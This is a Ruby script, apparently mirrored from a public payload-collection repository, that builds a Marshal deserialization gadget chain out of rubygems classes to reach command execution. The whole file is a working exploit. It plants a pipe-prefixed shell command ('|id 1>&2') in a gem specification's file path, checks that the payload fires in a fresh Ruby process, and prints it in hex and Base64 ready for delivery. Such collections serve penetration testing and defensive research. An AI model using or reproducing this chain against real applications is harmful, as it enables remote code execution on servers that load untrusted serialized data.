mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
66 lines
1.2 KiB
Ruby
66 lines
1.2 KiB
Ruby
#!/usr/bin/env ruby
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class Gem::StubSpecification
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def initialize; end
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end
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stub_specification = Gem::StubSpecification.new
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stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
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puts "STEP n"
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stub_specification.name rescue nil
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puts
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class Gem::Source::SpecificFile
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def initialize; end
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end
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specific_file = Gem::Source::SpecificFile.new
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specific_file.instance_variable_set(:@spec, stub_specification)
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other_specific_file = Gem::Source::SpecificFile.new
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puts "STEP n-1"
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specific_file <=> other_specific_file rescue nil
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puts
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$dependency_list= Gem::DependencyList.new
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$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
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puts "STEP n-2"
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$dependency_list.each{} rescue nil
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puts
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class Gem::Requirement
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def marshal_dump
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[$dependency_list]
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end
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end
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payload = Marshal.dump(Gem::Requirement.new)
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puts "STEP n-3"
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Marshal.load(payload) rescue nil
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puts
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puts "VALIDATION (in fresh ruby process):"
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IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
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pipe.print payload
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pipe.close_write
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puts pipe.gets
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puts
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end
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puts "Payload (hex):"
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puts payload.unpack('H*')[0]
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puts
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require "base64"
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puts "Payload (Base64 encoded):"
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puts Base64.encode64(payload) |